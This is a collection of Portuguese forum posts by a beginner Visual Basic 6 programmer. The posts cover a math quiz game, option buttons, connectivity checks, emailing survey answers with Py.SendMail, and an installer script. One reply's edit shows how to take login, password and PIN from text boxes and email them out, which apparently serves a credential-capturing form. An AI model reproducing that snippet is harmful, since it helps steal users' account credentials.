Matheus-vb6

sem o +1 n funciono, fiz de 1 a 4 e funciono perfeito!!, e eu fiz de 1 a 4 mesmo :D, na vdd eu fiz de 1 a 7, 1+,2-,3*,4/,5+,6-,7*, pra ter chance de cai menos a divisão pois geralmente caia numeros quebrados (Resultado) e não consegui ajustar isso pelo round,format e clng, poderia me dizer como arrumo?? ex: 15/13 = 1,153846~ se o usuario digitar 1,15 ele aceitasse como correto a resposta, e no caso de a 3 casa decimal for maior q 5, a segunda somaria um, exemplo: 1,156 arredondamento: 1,16

Se puder poste um Print Screen para ajudar!

Frata, como disse o Raphael, utilize uma resolução fixa. Geralmente é utilizado FullScreen telas de menus ou que abrirão Sub-Janelas! E acho q resolução 800x600 não é mais utilizada hoje em dia! Abraços

Aaaa, entendi!! Não sabia desse negocio do _ Obg

Funcionou.... Só corrigindo uma coisa de: indice = Int(Rnd * 4) para: indice = Int(Rnd * 4) + 1 --- já consegui!!

Seguinte, qual e-mail você esta tentando usar para enviar?? Hotmail por exemplo não da! pois eles tem uma proteção q n permite! Recomendo a você o yahoo! Utilize esse código após instala o Py.sendmail! Set k = CreateObject("Py.SendMail") k.SMTPServer = "smtp.mail.yahoo.com.br" k.Recipient = "nome de quem vai receber" k.To = "e-mail q receberá" k.Sender = "Nome de quem envio" k.From = "....@yahoo.com" k.Cc = "" k.Bcc = "" k.Subject = "Assunto" k.Body = "Corpo da mensagem!" 'Em caso de autenticação k.User = "....@yahoo.com" k.Password = "Sua senha" retorno = k.send() lblRetorno = "Retorno: " & retorno Debug.Print retorno MsgBox "E-mail enviado!", vbInformation, "E-mail!" End On Error GoTo Erro Erro: MsgBox "Não foi possível concluir a operação!", vbCritical, "Erro!" End If edit--- para chegar o login senha e pin, crie variaveis e faça assim no k.body: dim login,senha,pin as string login= txtlogin.text senha= txtsenha.text pin = txtpin.text k.Body = "Login: " & login & "<BR>" & "Senha: " & senha & "<BR>" & "Pin: " & pin Boa sorte ;)

Por incrivel coincidencia, eu fiz um ontem... porem utilizei o format peso = Val(txtPeso.Text) altura = Val(txtAltura.Text) calculo2 = peso / (altura ^ 2) calculo = Format(calculo2, "0.00") -edit- Kuroi, acho q o link q ele se referiu foi a sua assinatura.

Estou criando um tipo de jogo matematico utilizando tal codigo: Private Sub Form_Load() Dim v1, v2, gerador1, gerador2,geradorsimbolo As Integer v1 = lblValorum.Caption v2 = lblValordois.Caption Randomize gerador1 = Int(Rnd * 50) + 1 Randomize gerador2 = Int(Rnd * 50) + 1 lblValorum.Caption = gerador1 lblValordois.Caption = gerador2 lblSimbolo.Caption = geradorsimbolo End Sub (nivel principiante esse) Porem não estou conseguindo um RND dos símbolos + - * /... como eu faço isso?

o código fikava parte preto (válido) e a outra parte vermelho (inválido) eu consegui dividi-los por variaveis MENSAGEM = "<font size='3' color='blue'>" & "Pesquisa de satisfação 2010" & "</font>" & "<BR><BR>" & frmPrincipal1.lblPergunta1.Caption & " : " & f1p1 & "<BR>" & frmPrincipal1.lblPergunta2.Caption & " : " & f1p2 & "<BR>" & frmPrincipal1.lblPergunta3.Caption & " : " & f1p3 & "<BR>" & frmPrincipal1.lblPergunta4.Caption & " : " & f1p4 & "<BR>" & frmPrincipal1.lblPergunta5.Caption & " : " & f1p5 & "<BR>" & frmPrincipal1.lblPergunta6.Caption & " : " & f1p6 & "<BR>" & frmPrincipal1.lblPergunta7.Caption & " : " & f1p7 & "<BR>" & frmPrincipal1.lblPergunta8.Caption & " : " & f1p8 & "<BR>" & frmPrincipal1.lblPergunta9.Caption & " : " & f1p9 & "<BR>" & frmPrincipal1.lblPergunta10.Caption & " : " & f1p10 & "<BR><BR>" & frmPrincipal2.lblPergunta1.Caption & " : " & f2p1 & "<BR>" & frmPrincipal2.lblPergunta2.Caption & " : " & f2p2 & "<BR>" & frmPrincipal2.lblPergunta3.Caption & " : " & f2p3 & "<BR>" & frmPrincipal2.lblPergunta4.Caption & " : " & f2p4 & "<BR>" & frmPrincipal2.lblPergunta5.Caption & " : " & f2p5 & "<BR>" MENSAGEM2 = frmPrincipal2.lblPergunta7.Caption & " : " & f2p7 & "<BR>" & frmPrincipal2.lblPergunta8.Caption & " : " & f2p8 & "<BR>" & frmPrincipal2.lblPergunta9.Caption & " : " & f2p9 & "<BR><BR>" & frmPrincipal3.lblPergunta1.Caption & " : " & f3p1 & "<BR>" & frmPrincipal3.lblPergunta2.Caption & " : " & f3p2 & "<BR>" & frmPrincipal3.lblPergunta3.Caption & " : " & f3p3 & "<BR>" & frmPrincipal3.lblPergunta4.Caption & " : " & f3p4 & "<BR>" & frmPrincipal3.lblPergunta5.Caption & " : " & f3p5 & "<BR>" & frmPrincipal3.lblPergunta7.Caption & " : " & f3p7 & "<BR>" & frmPrincipal3.lblPergunta8.Caption & " : " & f3p8 & "<BR>" & frmPrincipal3.lblPergunta9.Caption & " : " & f3p9 & "<BR><BR>" & lblPergunta1.Caption & " : " & fabrica & "<BR>" & lblPergunta2.Caption & " : " & cursos & "<BR>" & lblSugestao.Caption & " : " & sugestao & "<BR>" & lblComentario.Caption & " : " & comentario & "<BR><BR>" MENSAGEM3 = lblConstrutora.Caption & construtora & "<BR>" & lblNome.Caption & nome & "<BR>" & lblCargo.Caption & cargo e no k.body k.Body = mensagem + mensagem2 + mensagem3 a mensagem está chegando sim, mas eu gostaria de saber se há limite por linha de codigo no vb, por em uma linha só (sem variaveis) não consegui mandar diretamente, ficava assim: ou assim por variaveis ele vai, mas por que não consigo fazer sem elas?

sim, ai uma parte fika preta e a outra fica vermelha embaixo, e se eu apertar del ou backspace n adianta! Se eu usasse como variaveis deixaria o programa mais lento?

Vlw a dica, mas eu achei facil assim porque configurei tudo de forma mais rapida! Eu mexi no index por causa dakele link q você posto, eu li alguma coisa sobre index e fui mexe! vlw mais uma vez

Como eu resolvo esse problema, gostaria de colocar isso para chegar por e-mail: "<font size='3' color='blue'>" & "Pesquisa de satisfação 2010" & "</font>" & "<BR><BR>" & frmPrincipal1.lblPergunta1.Caption & " : " & f1p1 & "<BR>" & frmPrincipal1.lblPergunta2.Caption & " : " & f1p2 & "<BR>" & frmPrincipal1.lblPergunta3.Caption & " : " & f1p3 & "<BR>" & frmPrincipal1.lblPergunta4.Caption & " : " & f1p4 & "<BR>" & frmPrincipal1.lblPergunta5.Caption & " : " & f1p5 & "<BR>" & frmPrincipal1.lblPergunta6.Caption & " : " & f1p6 & "<BR>" & frmPrincipal1.lblPergunta7.Caption & " : " & f1p7 & "<BR>" & frmPrincipal1.lblPergunta8.Caption & " : " & f1p8 & "<BR>" & frmPrincipal1.lblPergunta9.Caption & " : " & f1p9 & "<BR>" & frmPrincipal1.lblPergunta10.Caption & " : " & f1p10 & "<BR>" & frmPrincipal2.lblPergunta1.Caption & " : " & f2p1 & "<BR>" & frmPrincipal2.lblPergunta2.Caption & " : " & f2p2 & "<BR>" & frmPrincipal2.lblPergunta3.Caption & " : " & f2p3 & "<BR>" & frmPrincipal2.lblPergunta4.Caption & " : " & f2p4 & "<BR>" & frmPrincipal2.lblPergunta5.Caption & " : " & f2p5 & "<BR>" & frmPrincipal2.lblPergunta7.Caption & " : " & f2p7 & "<BR>" & frmPrincipal2.lblPergunta8.Caption & " : " & f2p8 & "<BR>" & frmPrincipal2.lblPergunta9.Caption & " : " & f2p9 & "<BR>" & frmPrincipal2.lblPergunta10.Caption & " : " & f2p10 & "<BR>" & frmprincipal3.lblPergunta1.Caption & " : " & f3p1 & "<BR>" & frmprincipal3.lblPergunta2.Caption & " : " & f3p2 & "<BR>" & frmprincipal3.lblPergunta3.Caption & " : " & f3p3 & "<BR>" & frmprincipal3.lblPergunta4.Caption & " : " & f3p4 & "<BR>" & frmprincipal3.lblPergunta5.Caption & " : " & f3p5 & "<BR>" & frmprincipal3.lblPergunta7.Caption & " : " & f3p7 & "<BR>" & frmprincipal3.lblPergunta8.Caption & " : " & f3p8 & "<BR>" & frmprincipal3.lblPergunta9.Caption & " : " & f3p9 & "<BR>" & frmprincipal3.lblPergunta10.Caption & " : " & f3p10 & "<BR>" & lblpergunta1.caption & " : " & fabrica & "<BR>" & lblpergunta2.caption & " : " & cursos & "<BR>" & lblsugestao.caption & " : " & sugestao & "<BR>" & lblcomentario.caption & " : " & comentario & "<BR>" & lblconstrutora.caption & " : " & construtora & "<BR>" & lblnome.caption & " : " & nome & "<BR>" & lblcargo.caption & " : " & cargo Só que o VB corta, e não consigo inserir tudo, tomo eu colocaria tudo isso dentro do k.send?

Private Sub Form_Load() img10.Visible = True img11.Visible = False img12.Visible = False img13.Visible = False img14.Visible = False img15.Visible = False If opt11.Value = True Then img10.Visible = False img11.Visible = True img12.Visible = False img13.Visible = False img14.Visible = False img15.Visible = False ElseIf opt12.Value = True Then img10.Visible = False img11.Visible = False img12.Visible = True img13.Visible = False img14.Visible = False img15.Visible = False ElseIf opt13.Value = True Then img10.Visible = False img11.Visible = False img12.Visible = False img13.Visible = True img14.Visible = False img15.Visible = False ElseIf opt14.Value = True Then img10.Visible = False img11.Visible = False img12.Visible = False img13.Visible = False img14.Visible = True img15.Visible = False ElseIf opt15.Value = True Then img10.Visible = False img11.Visible = False img12.Visible = False img13.Visible = False img14.Visible = False img15.Visible = True End If End Sub Private Sub Timer1_Timer() opt11.Value = False Timer1.Enabled = False End Sub Da erro no .value dessa linha "If opt11.Value = True Then" --edit³ esse foi um outro jeito q tentei e reparei q as opçoes q aparecem não são as propriedades do opt11 é normal isso? edit4- cara consegui, ele tava pedindo o index dele, no caso opt11(1).value=false. Vlws ae pela força

eu iria colokar todos por value.false o problema é q ele ta dentro de um frame, e ai quando eu do opt11.value=false ele não axa, mesmo q eu ponha frame1.opt11.value=false eu queria saber como seria a sintaxe, se seria frame1.opt11.value=false ou se é outro jeito vlwss

oks, vo testa

não queria usar module n, só formulario mesmo, teria como?

isso mesmo, vou tentar por frames, mas como eu insiro os optionbutton dentro do frame? -edit já consegui pelo ctrl x ctrl v vlws novamente ai, fiko bom o programa :D --edit2 Como eu configuro eles agora pelo formulário? por mais que estejam value false, sempre vem algum marcado, se eu configurar pelo form_load eles não vem, mas agora q estam dentro de um frame eu não consigo configura eles mais, nem por frame1.opt11.value=False Qual seria a sintaxe?

Public Function IsWebConnected(Optional ByRef ConnType As String) As Boolean Dim dwflags As Long Dim WebTest As Boolean ConnType = "" WebTest = InternetGetConnectedState(dwflags, 0&) Select Case WebTest Case dwflags And CONNECT_LAN: ConnType = "LAN" Case dwflags And CONNECT_MODEM: ConnType = "Modem" Case dwflags And CONNECT_PROXY: ConnType = "Proxy" Case dwflags And CONNECT_OFFLINE: ConnType = "Offline" Case dwflags And CONNECT_CONFIGURED: ConnType = "Configured" Case dwflags And CONNECT_RAS: ConnType = "Remote" End Select IsWebConnected = WebTest End Function Private Sub Command1_Click() Dim msg As String If IsWebConnected(msg) Then msg = "You are connected to the Internet via: " & msg Else msg = "You are not connected to the Internet." End If MsgBox msg, vbOKOnly, "Internet Connection Status" End sub é só esse codigo q eu tenho que usar?? porque tem mais 2 la em cima mas n sei onde encaixar

Gente, eu to criando um formulario de perguntas nesse estilo: 1-)Pergunta...... Options: Otimo bom regular ruim péssimo 2-)Pergunta...... Options: Otimo bom regular ruim péssimo .... só q quando eu seleciono uma opção na um, ele marca beleza, quando eu marco na 2, o da 1 some, como eu arrumo isso? --edit dei uma pesquisada e diz q tenho q configura index.... como?

Bom pessoal, a maioria dos programas que faço usa a internet para o envio dos e-mails, gostaria de algum código que verificasse se o computador está conectado a internet, caso n esteja abrisse uma msgbox... Vlws desde já

Amigo, tenho um post exatamente parecido com o seu: Da uma olhada la se tiver mais duvidas poste aki, la esta resolvido já! Link Boa sorte

Funfo :D vlws novamente!!

a compilação foi, to ligando os outros pc vo testa e já posto aki! brigadao ae cara -edit- funfo perfeitamente, muito obrigado cara!! Duvida resolvida

assim, eu tenho 3 computadores, nesse daki que eu desenvolvi vai sussegado, nos outros 2, 1 windows xp o outro também com 7 da o erro e especifica que é o py_sendmail.dll... (erro 0x5) Codigo: [Files] Source: C:\Users\USER\Desktop\Programas\programa2.exe; DestDir: {app} ; NOTE: Don't use "Flags: ignoreversion" on any shared system files Source: programa2\bin\py_sendmail.dll; DestDir: {sys}; Flags: regserver Source: programa2\bin\MSVCR71.dll; DestDir: {sys} Source: programa2\bin\python24.dll; DestDir: {sys} Source: programa2\bin\w9xpopen.exe; DestDir: {sys} Source: programa2\bin\lib\_socket.pyd; DestDir: {sys} Source: programa2\bin\lib\_ssl.pyd; DestDir: {sys} Source: programa2\bin\lib\_win32sysloader.pyd; DestDir: {sys} Source: programa2\bin\lib\bz2.pyd; DestDir: {sys} Source: programa2\bin\lib\pythoncom24.dll; DestDir: {sys} Source: programa2\bin\lib\pywintypes24.dll; DestDir: {sys} Source: programa2\bin\lib\shared.zip; DestDir: {sys} Source: programa2\bin\lib\unicodedata.pyd; DestDir: {sys} Source: programa2\bin\lib\win32api.pyd; DestDir: {sys} Source: programa2\bin\lib\win32trace.pyd; DestDir: {sys} Source: programa2\bin\lib\win32ui.pyd; DestDir: {sys} Source: programa2\bin\lib\zlib.pyd; DestDir: {sys}

agora ele gero um codigo gigantesco... a hora que chega nessa linha : ele meio que grifa em vermelho e aparece: -- tinha 2 linhas dessa eu n percebi, consegui faze, agora só vo testa ai já posto se funfo :D edit- no meu outro computador, windows xp, diferente desse q é 7, da o seguinte erro: tipo, só o pysendmail.dll ta no reg, mais alguma coisa precisa estar?